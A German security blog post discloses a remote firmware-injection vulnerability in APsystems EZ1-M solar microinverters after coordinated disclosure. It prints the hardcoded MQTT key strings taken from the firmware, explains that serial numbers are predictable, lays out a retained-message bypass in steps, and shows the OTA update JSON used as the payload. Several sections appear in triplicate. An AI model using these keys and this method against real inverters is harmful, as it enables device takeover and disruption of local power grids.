Lesezeit

10

Min. Lesezeit

Datum

Geschrieben von

Marlon Starkloff

Remote-Firmware-Injektion bei beliebten Solar-Wechselrichtern

Im Nachgang zu unseren im letzten Jahr veröffentlichten Erkenntnissen, die Datenlecks einschließlich WLAN-Zugangsdaten, Standort- und Energiedaten bei Solar-Wechselrichtern von Sunways und APsystems aufdeckten, präsentieren wir nun eine kritische Schwachstelle bei APsystems-Wechselrichtern: eine Remote-Firmware-Injektion, die eine vollständige Systemkompromittierung ermöglicht.

APsystems Mikrowechselrichter

APsystems bietet eine breite Palette an Mikrowechselrichtern sowie Batteriespeicherlösungen für Privathaushalte und Gewerbe/Industrie (C&I) und Überwachungsanwendungen an. Der EZ1-M gehört zu den beliebtesten Mikrowechselrichtern und ist weiterhin über Händler erhältlich. APsystems lieferte den EZ1-M auch als White-Label-Produkt an Anker, bekannt als Anker Solix Mi80.

Hardware-Analyse des EZ1-M

Während der Erstellung unseres ersten Berichts aus dem vergangenen Jahr kontaktierten wir Valentin Conrad von der TU Darmstadt, der die Firmware des EZ1-M für seine Masterarbeit über die Sicherheit von Mikrowechselrichtern ausgelesen hatte. Er stellte uns den geöffneten Wechselrichter und die Firmware für Analysezwecke zur Verfügung.

Die Vorderansicht zeigt den ESP32C2-Mikrocontroller. Seine Hauptaufgabe besteht darin, Energiedaten zu erfassen und über MQTT an die Cloud zu übertragen. Zudem steuert er, ob der Wechselrichter Strom ins Netz einspeist.

Die Rückansicht offenbart einen TI C2000-Mikrocontroller, der mit dem ESP32C2 verbunden ist und die Gate-Treiber steuert. Diese sind für den DC-zu-AC-Umwandlungsprozess verantwortlich. Unter dem APsystems-Logo ist der Text „DS3“ zu erkennen, was darauf hindeutet, dass der EZ1-M dieselbe Hardware wie die DS3-Wechselrichterserie verwendet.

Firmware-Analyse des EZ1-M

Bei der Analyse der Firmware mit Ghidra stellten wir fest, dass als MQTT-Broker-URI data.mqtt.apsystemsema.com:9005 verwendet wurde. In der Funktion, in der diese Zeichenkette referenziert wurde, fanden wir zudem zwei zufällige Strings: uh345IeTf)(&*rrr und CCPUsadQQi!@&#$p. Zunächst dachten wir, es handele sich um die MQTT-Zugangsdaten, doch Verbindungsversuche schlugen fehl.

                              s_adQQi!@&#$p_3c0b2341              XREF[0,2]:  FUN_4200778a:420077aa(*)                              s_G#$p_3c0b2348                                 FUN_4200778a:420077aa(*)        3c0b233c 43 43 50        ds         "CCPUsadQQi!@&#$p"                 55 73 61                 64 51 51                 ...        3c0b234d 00              ??         00h        3c0b234e 00              ??         00h        3c0b234f 00              ??         00h                              s_data.mqtt.apsystemsema.com:9005_3c0b2358                              s_a.mqtt.apsystemsema.com:9005_3c0b235b                              s_emsema.com:9005_3c0b2368                              s_msema.com:9005_3c0b2369                              s_ema.com:9005_3c0b236b                              s_om:9005_3c0b2370                 XREF[0,6]:  FUN_420077c4:42007828(*)                                                                              FUN_420077c4:42007874(*)        3c0b2350 6d 71 74        ds         "mqtts://data.mqtt.apsystemsema.com:9005"                 74 73 3a                 2f 2f 64                 ...                              s_mqttHost=%s_3c0b2379             XREF[0,2]:  FUN_420077c4:42007874(*)                              s_st=%s_3c0b2380        3c0b2378 0a 20 6d        ds         "\n mqttHost=%s \n"                 71 74 74                 48 6f 73                 ...
                              s_adQQi!@&#$p_3c0b2341              XREF[0,2]:  FUN_4200778a:420077aa(*)                              s_G#$p_3c0b2348                                 FUN_4200778a:420077aa(*)        3c0b233c 43 43 50        ds         "CCPUsadQQi!@&#$p"                 55 73 61                 64 51 51                 ...        3c0b234d 00              ??         00h        3c0b234e 00              ??         00h        3c0b234f 00              ??         00h                              s_data.mqtt.apsystemsema.com:9005_3c0b2358                              s_a.mqtt.apsystemsema.com:9005_3c0b235b                              s_emsema.com:9005_3c0b2368                              s_msema.com:9005_3c0b2369                              s_ema.com:9005_3c0b236b                              s_om:9005_3c0b2370                 XREF[0,6]:  FUN_420077c4:42007828(*)                                                                              FUN_420077c4:42007874(*)        3c0b2350 6d 71 74        ds         "mqtts://data.mqtt.apsystemsema.com:9005"                 74 73 3a                 2f 2f 64                 ...                              s_mqttHost=%s_3c0b2379             XREF[0,2]:  FUN_420077c4:42007874(*)                              s_st=%s_3c0b2380        3c0b2378 0a 20 6d        ds         "\n mqttHost=%s \n"                 71 74 74                 48 6f 73                 ...
                              s_adQQi!@&#$p_3c0b2341              XREF[0,2]:  FUN_4200778a:420077aa(*)                              s_G#$p_3c0b2348                                 FUN_4200778a:420077aa(*)        3c0b233c 43 43 50        ds         "CCPUsadQQi!@&#$p"                 55 73 61                 64 51 51                 ...        3c0b234d 00              ??         00h        3c0b234e 00              ??         00h        3c0b234f 00              ??         00h                              s_data.mqtt.apsystemsema.com:9005_3c0b2358                              s_a.mqtt.apsystemsema.com:9005_3c0b235b                              s_emsema.com:9005_3c0b2368                              s_msema.com:9005_3c0b2369                              s_ema.com:9005_3c0b236b                              s_om:9005_3c0b2370                 XREF[0,6]:  FUN_420077c4:42007828(*)                                                                              FUN_420077c4:42007874(*)        3c0b2350 6d 71 74        ds         "mqtts://data.mqtt.apsystemsema.com:9005"                 74 73 3a                 2f 2f 64                 ...                              s_mqttHost=%s_3c0b2379             XREF[0,2]:  FUN_420077c4:42007874(*)                              s_st=%s_3c0b2380        3c0b2378 0a 20 6d        ds         "\n mqttHost=%s \n"                 71 74 74                 48 6f 73                 ...

Das Reverse Engineering dieses Firmware-Images war ziemlich anspruchsvoll, daher wählten wir einen neuartigen Ansatz: Wir extrahierten den disassemblierten C-Code der MQTT-Funktion und nutzten Gemini Pro zur Interpretation. Dies funktionierte überraschend gut und ermöglichte es uns, den Verbindungsprozess zu verstehen. Der Authentifizierungsmechanismus lässt sich wie folgt zusammenfassen:

Zuerst wird die Seriennummer des Geräts mit den oben genannten Zeichenketten verschlüsselt. Einmal für den Benutzernamen und ein zweites Mal (unter Verwendung des zweiten Strings) für das Passwort. Anschließend werden die verschlüsselten Daten mittels Base64 kodiert und als MQTT-Zugangsdaten verwendet. 

Da keine Schlüsselvereinbarung stattfindet und der Broker lediglich die Base64-Strings empfängt, gehen wir davon aus, dass die Schlüssel statisch und auf allen Geräten identisch sind. Das bedeutet, dass ein Angreifer lediglich die Seriennummer des Geräts kennen muss, um sich am Server zu authentifizieren. Dies allein wäre möglicherweise kein gravierendes Problem, wenn Seriennummern zufällig generiert würden; leider sind sie jedoch vorhersehbar und fungieren im Wesentlichen als Zähler (z. B. E17000032722, E17000032723 usw.).

EZ1-M MQTT-Analyse

Vor dem Verbindungsaufbau zum MQTT-Server versuchten wir, Topic-Strings innerhalb der Firmware zu lokalisieren. Allerdings waren die Zeichenketten verkettet und in der Disassembler-Ansicht schwer nachzuvollziehen.

(*(code *)&memset) (0x3fcb18cc, 0,0x50);(*(code *)&SUB_400006b0) (Ox3fcb187c,"', "',"ade_get", "ytes\n", &DAT_3fcb1448, "%s\r\n");(*(code *)&SUB_400006b0) (0x3fcb182c, """ade_get", "ytes\n",&DAT_3fcb1448, "get");(*(code *)&SUB_400006b0) (0x3fcb18cc,"", "ade_get","ytes\n", &DAT_3fcb1448, "post");(*(code *)&strcpy) ("us_post", Ox3fcb187c);(*(code *)&strcpy) ("&s\r\n", Ox3fcb182c);(*(code *)&strcpy) ("%s\r\n", Ox3fcb18cc);(*(code *)&memset) (0x3fcb16ec,0,0x50);(* (code *) &memset) (Ox3fcb173c,0,0x50);(* (code *)&SUB_400006b0) (0x3fcb16ec,"", "dle", "ytes\n", &DAT_3fcb1448, "upgrade_post');(* (code *)&SUB_400006b0) (0×3feb173c,"", "dle", "ytes\n", &DAT_3fcb1448, "c=%s\r\n');(* (code *) sstrcpy) ("__reply", 0x3fcb16ec);(*(code *)&strcpy) ("C=&s\r\n", Ox3fcb173c);(* (code *)&memset) (0x3fcb191c,0,0x50);(*(code *) &memset) (0x3fcb196c,0,0x50);(* (code *)&SUB_400006b0) (0x3fcb196c, "', "c=&s\r\n", "ytes\n", &DAT_3fcb1448, "upgrade_get");(*(code *)&SUB_400006b0) (0x3fcb191c,"", "c=%s\r\n", "ytes\n", &DAT_3fcb1448, "upgrade_get_reply");(*(code *)&strcpy) ("erties", 0x3fcb191c);(*(code *)&strcpy) ("&s\r\n", 0x3fcb196c);
(*(code *)&memset) (0x3fcb18cc, 0,0x50);(*(code *)&SUB_400006b0) (Ox3fcb187c,"', "',"ade_get", "ytes\n", &DAT_3fcb1448, "%s\r\n");(*(code *)&SUB_400006b0) (0x3fcb182c, """ade_get", "ytes\n",&DAT_3fcb1448, "get");(*(code *)&SUB_400006b0) (0x3fcb18cc,"", "ade_get","ytes\n", &DAT_3fcb1448, "post");(*(code *)&strcpy) ("us_post", Ox3fcb187c);(*(code *)&strcpy) ("&s\r\n", Ox3fcb182c);(*(code *)&strcpy) ("%s\r\n", Ox3fcb18cc);(*(code *)&memset) (0x3fcb16ec,0,0x50);(* (code *) &memset) (Ox3fcb173c,0,0x50);(* (code *)&SUB_400006b0) (0x3fcb16ec,"", "dle", "ytes\n", &DAT_3fcb1448, "upgrade_post');(* (code *)&SUB_400006b0) (0×3feb173c,"", "dle", "ytes\n", &DAT_3fcb1448, "c=%s\r\n');(* (code *) sstrcpy) ("__reply", 0x3fcb16ec);(*(code *)&strcpy) ("C=&s\r\n", Ox3fcb173c);(* (code *)&memset) (0x3fcb191c,0,0x50);(*(code *) &memset) (0x3fcb196c,0,0x50);(* (code *)&SUB_400006b0) (0x3fcb196c, "', "c=&s\r\n", "ytes\n", &DAT_3fcb1448, "upgrade_get");(*(code *)&SUB_400006b0) (0x3fcb191c,"", "c=%s\r\n", "ytes\n", &DAT_3fcb1448, "upgrade_get_reply");(*(code *)&strcpy) ("erties", 0x3fcb191c);(*(code *)&strcpy) ("&s\r\n", 0x3fcb196c);
(*(code *)&memset) (0x3fcb18cc, 0,0x50);(*(code *)&SUB_400006b0) (Ox3fcb187c,"', "',"ade_get", "ytes\n", &DAT_3fcb1448, "%s\r\n");(*(code *)&SUB_400006b0) (0x3fcb182c, """ade_get", "ytes\n",&DAT_3fcb1448, "get");(*(code *)&SUB_400006b0) (0x3fcb18cc,"", "ade_get","ytes\n", &DAT_3fcb1448, "post");(*(code *)&strcpy) ("us_post", Ox3fcb187c);(*(code *)&strcpy) ("&s\r\n", Ox3fcb182c);(*(code *)&strcpy) ("%s\r\n", Ox3fcb18cc);(*(code *)&memset) (0x3fcb16ec,0,0x50);(* (code *) &memset) (Ox3fcb173c,0,0x50);(* (code *)&SUB_400006b0) (0x3fcb16ec,"", "dle", "ytes\n", &DAT_3fcb1448, "upgrade_post');(* (code *)&SUB_400006b0) (0×3feb173c,"", "dle", "ytes\n", &DAT_3fcb1448, "c=%s\r\n');(* (code *) sstrcpy) ("__reply", 0x3fcb16ec);(*(code *)&strcpy) ("C=&s\r\n", Ox3fcb173c);(* (code *)&memset) (0x3fcb191c,0,0x50);(*(code *) &memset) (0x3fcb196c,0,0x50);(* (code *)&SUB_400006b0) (0x3fcb196c, "', "c=&s\r\n", "ytes\n", &DAT_3fcb1448, "upgrade_get");(*(code *)&SUB_400006b0) (0x3fcb191c,"", "c=%s\r\n", "ytes\n", &DAT_3fcb1448, "upgrade_get_reply");(*(code *)&strcpy) ("erties", 0x3fcb191c);(*(code *)&strcpy) ("&s\r\n", 0x3fcb196c);

Da wir sahen, dass die Topics regelmäßig über UART ausgegeben wurden, kauften wir ein ESP32C2-Entwicklungsboard und flashten die Firmware darauf. Dadurch erhielten wir Zugriff auf die Topics, darunter einige interessante, insbesondere die OTA-Topics, die auf eine Funktion zur Remote-Firmware-Aktualisierung hinwiesen.

Seriell / UART
----mqttAppStart-[APP] Free memory: 60296 bytesntpPubTopic=/ntp/EZ1/E17000032722/getntpSubTopic=/ntp/EZ1/E17000032722/get_replyotaPubTopic=/ota/EZ1/E17000032722/upgrade_get otaSubTopic=/ota/EZ1/E17000032722/upgrade_post otaStatusPubTopic=/ota/EZ1/E17000032722/upgrade_status_post eventPubTopic=/event/EZ1/E17000032722/post eventSubTopic=/event/EZ1/E17000032722/post_reply propertyGetPubTopic=/properties/EZ1/E17000032722/get_reply propertyGetSubTopic=/properties/EZ1/E17000032722/get propertySetPubTopic=/properties/EZ1/E17000032722/set_reply propertySetSubTopic=/properties/EZ1/E17000032722/setread mqttHost data = mqtts://data.mqtt.apsystemsema.com: 9005read mqttHostCrc data = 45390
Seriell / UART
----mqttAppStart-[APP] Free memory: 60296 bytesntpPubTopic=/ntp/EZ1/E17000032722/getntpSubTopic=/ntp/EZ1/E17000032722/get_replyotaPubTopic=/ota/EZ1/E17000032722/upgrade_get otaSubTopic=/ota/EZ1/E17000032722/upgrade_post otaStatusPubTopic=/ota/EZ1/E17000032722/upgrade_status_post eventPubTopic=/event/EZ1/E17000032722/post eventSubTopic=/event/EZ1/E17000032722/post_reply propertyGetPubTopic=/properties/EZ1/E17000032722/get_reply propertyGetSubTopic=/properties/EZ1/E17000032722/get propertySetPubTopic=/properties/EZ1/E17000032722/set_reply propertySetSubTopic=/properties/EZ1/E17000032722/setread mqttHost data = mqtts://data.mqtt.apsystemsema.com: 9005read mqttHostCrc data = 45390
Seriell / UART
----mqttAppStart-[APP] Free memory: 60296 bytesntpPubTopic=/ntp/EZ1/E17000032722/getntpSubTopic=/ntp/EZ1/E17000032722/get_replyotaPubTopic=/ota/EZ1/E17000032722/upgrade_get otaSubTopic=/ota/EZ1/E17000032722/upgrade_post otaStatusPubTopic=/ota/EZ1/E17000032722/upgrade_status_post eventPubTopic=/event/EZ1/E17000032722/post eventSubTopic=/event/EZ1/E17000032722/post_reply propertyGetPubTopic=/properties/EZ1/E17000032722/get_reply propertyGetSubTopic=/properties/EZ1/E17000032722/get propertySetPubTopic=/properties/EZ1/E17000032722/set_reply propertySetSubTopic=/properties/EZ1/E17000032722/setread mqttHost data = mqtts://data.mqtt.apsystemsema.com: 9005read mqttHostCrc data = 45390

Nachdem die Verbindung zum MQTT-Server hergestellt war, prüften wir, ob wir beliebige Topics abonnieren und darauf veröffentlichen konnten. Dies war nicht möglich; der Zugriff war ausschließlich auf Topics beschränkt, die mit der authentifizierten Seriennummer des Geräts verknüpft waren. Es war uns nicht möglich, beliebige Seriennummern zu abonnieren. Zudem erzwingt der Server eine Richtlinie von nur einer Verbindung pro Seriennummer. Wenn ein Gerät bereits verbunden ist, trennt ein Angreifer, der sich mit derselben Seriennummer verbindet, automatisch das legitime Gerät, was die Umsetzbarkeit unseres ursprünglichen Angriffsszenarios erheblich einschränkt.

Umgehung der Einschränkungen

Glücklicherweise ermöglicht eine MQTT-Funktion die gleichzeitige Umgehung beider Einschränkungen: Retained Messages (gespeicherte Nachrichten). Eine Nachricht, bei der das Retained-Flag auf „true“ gesetzt ist, wird jedem Client bei der Verbindung sofort und dauerhaft zugestellt. Diese Funktion kann wie folgt ausgenutzt werden:

  1. Verbindung zum MQTT-Broker aufbauen, wodurch die Verbindung des Ziel-Wechselrichters getrennt wird.

  2. Eine gespeicherte (retained) OTA-Update-Nachricht veröffentlichen (für unsere eigene Seriennummer).

  3. Verbindung trennen, sodass sich der Wechselrichter automatisch wieder verbinden kann.

Der Wechselrichter verarbeitet die gespeicherte Nachricht und leitet das OTA-Update ein.

Erstellung einer OTA-Payload

Die Analyse des UART-Logs zeigt die folgende Struktur für eine OTA-Update-Nachricht:

{"company": "apsystems","companyKey": "AmS4SV9oy3gK","deviceId": E17000000000,"type": "ota","identifier": "httpUpdate","methode": "upgrade_post","productKey": "EZ1","data": {    "version": "2.0.0",    "fileSize": "9999999",    "module": "dcm",    "url": "http://firmware.link"   }}
{"company": "apsystems","companyKey": "AmS4SV9oy3gK","deviceId": E17000000000,"type": "ota","identifier": "httpUpdate","methode": "upgrade_post","productKey": "EZ1","data": {    "version": "2.0.0",    "fileSize": "9999999",    "module": "dcm",    "url": "http://firmware.link"   }}
{"company": "apsystems","companyKey": "AmS4SV9oy3gK","deviceId": E17000000000,"type": "ota","identifier": "httpUpdate","methode": "upgrade_post","productKey": "EZ1","data": {    "version": "2.0.0",    "fileSize": "9999999",    "module": "dcm",    "url": "http://firmware.link"   }}

Für eine erfolgreiche Ausnutzung müssen wir die URL und die Geräte-ID anpassen. Die URL muss auf ein gültiges ESP32C2-Firmware-Image verweisen, das einfach lokal erstellt werden kann und über HTTP bereitgestellt werden muss.

Wir haben eine Proof-of-Concept-Payload entwickelt, die darauf ausgelegt ist, die in der Verwaltungs-App sichtbare Firmware-Version auf „pwned by jakkaru“ zu ändern und zukünftige OTA-Updates durch Patchen des OTA-Topics zu verhindern.

Proof-of-Concept-Exploitation

Fasst man alles zusammen, entstand das folgende Proof-of-Concept-Video. Oben links ist das Exploit-Skript zu sehen, unten links die UART-Ausgabe und auf der rechten Seite eine Echtzeitaufnahme der AP EasyPower-App mit den Geräteinformationen.

C2000-Patching

Anfangs konnten wir lediglich die ESP32C2-Firmware patchen. Bei Tests und der Überwachung des UART-Logs stellten wir jedoch fest, dass eine weitere OTA-Payload mit einer anderen Konfiguration an das Entwicklungsboard übertragen wurde. Die verlinkte Firmware war deutlich kleiner, und der Modulwert in der OTA-Struktur war auf „dsp“ statt auf „dcm“ gesetzt. Die Analyse dieser Binärdatei ergab, dass es sich um die C2000-Firmware handelte, die zum Patchen gesendet wurde. Dies impliziert, dass ein Angreifer den C2000-Chip patchen könnte, um die Gate-Treiber zu steuern, was weitaus schwerwiegendere Angriffsszenarien ermöglicht.

Angriffsszenarien

Obwohl viele Angriffsszenarien denkbar sind, skizziert die folgende Liste die am besten umsetzbaren Angriffe:

  • Ausnutzung des Wechselrichters als Proxy, um sich in das verbundene Netzwerk weiterzubewegen (Pivoting).

  • Koordinierte, synchrone Abschaltung einer großen Anzahl von Wechselrichtern, um die Stabilität des lokalen Stromnetzes zu stören.

  • Einbindung kompromittierter Geräte in ein Botnetz für DDoS-Angriffe.

  • Vorsätzliche Beschädigung der Firmware oder Hardware-Logik, um das Gerät zu zerstören.

  • Diebstahl von WLAN-Zugangsdaten und anderen auf dem Gerät gespeicherten Informationen.

Unser Telemetrie-Scan identifizierte etwa 100.000 erreichbare und verwundbare EZ1-M-Einheiten. Die gesamte Angriffsfläche ist wahrscheinlich deutlich größer, wenn man andere Produktlinien berücksichtigt, die denselben MQTT-Broker nutzen. Wir haben weitere Seriennummernformate getestet und vermuten stark, dass auch andere Wechselrichter und sogar die Batteriespeicherlösungen für Privathaushalte betroffen sind. Laut apsystemsema.com gibt es insgesamt etwa 600.000 Installationen.

Zeitplan für die verantwortungsvolle Offenlegung

Offenlegungsfrist: 90 Tage
  1. Tag 0
    Gemeldet

    APsystems über die Schwachstelle benachrichtigt.

  2. Tag 7
    Antwort des Anbieters

    APsystems veranschlagte 3 Monate für die Behebung, da eine vollständige Überarbeitung der Infrastruktur erforderlich war. 

  3. Tag 63
    Erinnerung

    APsystems Mitte Februar an das Offenlegungsdatum erinnert. 

  4. Tag 63
    Aktualisieren

    APsystems bat aufgrund von Rollout-Tests um eine Offenlegung Ende Februar.

  5. Tag 110
    Veröffentlicht

    Offenlegung der Schwachstellen.

Zeitplan für die verantwortungsvolle Offenlegung

Offenlegungsfrist: 90 Tage
  1. Tag 0
    Gemeldet

    APsystems über die Schwachstelle benachrichtigt.

  2. Tag 7
    Antwort des Anbieters

    APsystems veranschlagte 3 Monate für die Behebung, da eine vollständige Überarbeitung der Infrastruktur erforderlich war. 

  3. Tag 63
    Erinnerung

    APsystems Mitte Februar an das Offenlegungsdatum erinnert. 

  4. Tag 63
    Aktualisieren

    APsystems bat aufgrund von Rollout-Tests um eine Offenlegung Ende Februar.

  5. Tag 110
    Veröffentlicht

    Offenlegung der Schwachstellen.

Zeitplan für die verantwortungsvolle Offenlegung

Offenlegungsfrist: 90 Tage
  1. Tag 0
    Gemeldet

    APsystems über die Schwachstelle benachrichtigt.

  2. Tag 7
    Antwort des Anbieters

    APsystems veranschlagte 3 Monate für die Behebung, da eine vollständige Überarbeitung der Infrastruktur erforderlich war. 

  3. Tag 63
    Erinnerung

    APsystems Mitte Februar an das Offenlegungsdatum erinnert. 

  4. Tag 63
    Aktualisieren

    APsystems bat aufgrund von Rollout-Tests um eine Offenlegung Ende Februar.

  5. Tag 110
    Veröffentlicht

    Offenlegung der Schwachstellen.